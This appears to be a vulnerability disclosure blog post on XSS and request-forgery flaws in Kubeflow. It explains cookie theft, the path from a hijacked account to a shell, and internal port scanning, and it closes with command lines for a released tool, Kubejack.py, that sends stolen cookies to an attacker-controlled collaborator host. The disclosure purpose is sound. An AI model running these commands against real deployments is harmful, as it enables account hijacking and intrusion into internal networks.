Account Hijacking and Internal Network Attacks in Kubeflow
August 8, 2023 •Dan McInerney
Hacking AI/ML: Account Hijacking and Internal Network Attacks in Kubeflow
- Multiple moderate to high severity vulnerabilities in Kubeflow versions <=1.7.0
- Authentication data can be leaked by attackers
- Vulnerability scanner and exploit tool released
Kubeflow, maintained by Google, is one of the most popular end-to-end machine learning workflow tools out today. Similar to AWS’s SageMaker or MLflow, it allows machine learning engineers to build models on the distributed Kubernetes clusters. It’s a powerful tool including the ability to directly run code after authenticating which is highly relevant in the vulnerabilities discussed below.
Organizations which are running a Kubeflow server are at risk of an attacker sending a payloaded URL which steals authentication or hijacks the user’s browser. Additionally, authenticated users can use Kubeflow as a proxy to query the internal network for sensitive information.
While examining the Kubeflow application, Protect AI went through all the links and examined the functionality. One place that was particularly intriguing was this GET request:
In our previous security research on MLflow, we discovered an LFI/RFI in the Get-Artifacts API call which had a filepath in one of the parameters. This is a request to the endpoint /pipeline/artifacts/get and that key parameter sure looks like a file path. Worthy of investigation. Unlike MLflow, Kubeflow has some user authorization built in using an Istio proxy with role-based access controls. This is an added layer of protection against the same strain of Local File Include that was in MLflow, but the rabbit hole of safe file access is not shallow.
Stealing Authentication Cookies
Upon fuzzing the parameters of the Kubeflow GetArtifacts API request, XSSes immediately began appearing in three parameters seen in the top right of the screenshots below.
From an attacker’s perspective, these are excellent practical XSSes. The injection is near the top of the page which allows for crafting payloads that create fake login pages and harvesting plaintext credentials through it. Additionally, the cookie is not protected as can be seen below.
Account hijacking is as easy as sending the following link to an authenticated user:
The payload in key sends the authentication cookie to the attacker’s server and decodes as:
Post-XSS Arbitrary Code Execution
Now let’s turn that into remote code execution. Kubeflow allows the creation and running of Jupyter Notebooks. Once you hijack an account head on over to http://vulnerableKubeflowServer.com/_/jupyter/, create a new terminal and enjoy your shell.
If one wanted to continue the path of destruction, Kubernetes privilege escalation has several paths. Below, we read a privileged service account token which can be used to query the Kubernetes API server and begin doing malicious things. In real attack scenarios, this often means ransomware or bitcoin miners on newly spun up pods.
Through data analysis on years of penetration testing reports, we found that XSS is often a gateway vulnerability. Where XSS appears, there is a strong correlation of other vulnerabilities appearing in the same or similar locations of the application. This area of the application is a good starting point for other bug hunters; we look forward to future research.
Gateway to the Internal Network
Unbeknownst to the developers until now, Kubeflow can function as a kind of limited VPN. Kubeflow is designed to be easy to remotely log in to from home or work machines. It can exist both inside a Kubernetes cluster or outside the Kubernetes cluster as long as it’s configured with network access to the cluster. This second deployment option combined with a vulnerability Protect AI researchers found can lead to interesting results.
We set up a publicly accessible server using Burp Collaborator. While fuzzing the XSS-vulnerable request, we found that we could force Kubeflow to do two things: one, send the user’s authentication cookie to an external server along with significant amounts of details about the Kubernetes cluster, and two, proxy custom GET requests to any server it has network access to. First, let’s look at the account hijacking external HTTP interaction.
Hijack Accounts and Gather Intel
By payloading the namespace parameter with a URL the attacker controls, we can force Kubeflow to send its authentication cookie and internal network details to the attacker’s server. In this case, we’re using Burp Collaborator’s oastify.com domain which is a publicly available server that helps find external HTTP interactions in applications.
Now let’s take a look at the request our public server received:
We see the authorization cookie, internal network data such as DNS names and local IP addresses in the x-envoy-peer-metadata-id header, and a base64 blob in the x-envoy-peer-metadata header. Decoding the x-envoy-peer-metadata header leads to a glut of interesting information.
While this is a fantastic account hijacking vulnerability that gets the attacker a headstart on the rest of their exploitation chain, it appends a subdomain to the Host: header, ml-pipeline-ui-artifact.<attackerDomain.com>. This means we can’t query internal resources. Thankfully, the doctors at Protect AI found a cure for that. By payloading the bucket parameter in the GET request to an arbitrary IP or domain and path the attacker can force the Kubeflow server to query any server it can reach with a custom GET request, albeit without authentication cookies sent.
The impact of this is twofold: one, we can scan the entire internal network for open HTTP/S services, and two, we can craft custom GET API requests should there be an API server on the internal network that doesn’t require authentication.
An example of scanning the port of an internal pod looks like this:
If the server at 192.168.2.76 has an HTTP or HTTPS service running on port 80, we’ll receive the HTML page from that server. If that service requires authentication, then we’ll receive an error response stating, “upstream connect error or disconnect/reset before headers”. If there is no HTTP or HTTPS service running, we receive no response at all. To portscan, an attacker can just incrementally increase the port number in the bucket payload. In the screenshot below, we receive a 200 HTTP Status response on ports 80 and 81 and no response to any other request as seen in the Payload column. This indicates that there are webservers running on ports 80 and 81 of the internal server 192.168.2.76.
Sending a custom API request is as easy as appending the API endpoint path to the bucket parameter URL payload. In the example below, we’re having Kubeflow send a request to our attacker-controlled oastify.com server with a custom path to the API endpoint.
The response our attacker-controlled server received:
Contribute To AI Security
We highly suspect this is not the end of the potential vulnerabilities in this section of the Kubeflow Pipelines. Achieving LFI/RFI through the GetArtifacts API call may still be possible. If you wish to participate in securing the AI landscape, join us in the hunt with our open source bug bounty platform at huntr.mlsecops.com.
We have created a tool to facilitate the usage of the vulnerabilities found named Kubejack.py.
Creates a payloaded link to send to a Kubeflow user to steal their authentication cookie
python3 Kubejack.py --fetch-cookie --attacker-url <attacker_url> --target-url <target_url>
Example using BurpSuite's Collaborator link as the attacker's URL:
python Kubejack.py --fetch-cookie --attacker-url 8v4lxpiftcnsgj3pchs8tk8mvd14pwtki.oastify.com --kubeflow-url http://kubeflow.company.com
Get a URL proxied through Kubeflow:
python Kubejack.py --send-get --get-url <URL to fetch> --path <URL path> --kubeflow-url <URI of Kubeflow> --cookie <authservice_session cookie value>
python Kubejack.py --send-get --get-url protectai.com --path / --kubeflow-url http://kubeflow.company.com:9999 --cookie MTY4Nzg5NTgyMXxOd3dBTkZKTlRsUkxTMXBSVFRaQldUWlhUMEZXTTFCVFFreElXVWhPUVVoUVJsUkdNa1JWTTBoTFQxcExWVlF5TmxGS1EwaE1XRkU9fDNFMXkwoKlQprr9jJnvuX_osZR9BkyCVJuMcP4kg67v
Scan internal network through Kubeflow:
python Kubejack.py --scan --ip-list </path/to/list/of/ips.txt> --cookie <authservice_session cookie> --kubeflow-url <URL of Kubeflow>
python Kubejack.py --scan --ip-list /tmp/ips.txt --cookie MTY4Nzg5NTgyMXxOd3dBTkZKTlRsUkxTMXBSVFRaQldUWlhUMEZXTTFCVFFreElXVWhPUVVoUVJsUkdNa1JWTTBoTFQxcExWVlF5TmxGS1EwaE1XRkU9fDNFMXkwoKlQprr9jJnvuX_osZR9BkyCVJuMcP4kg67v --kubeflow-url http://kubeflow.company.com:9999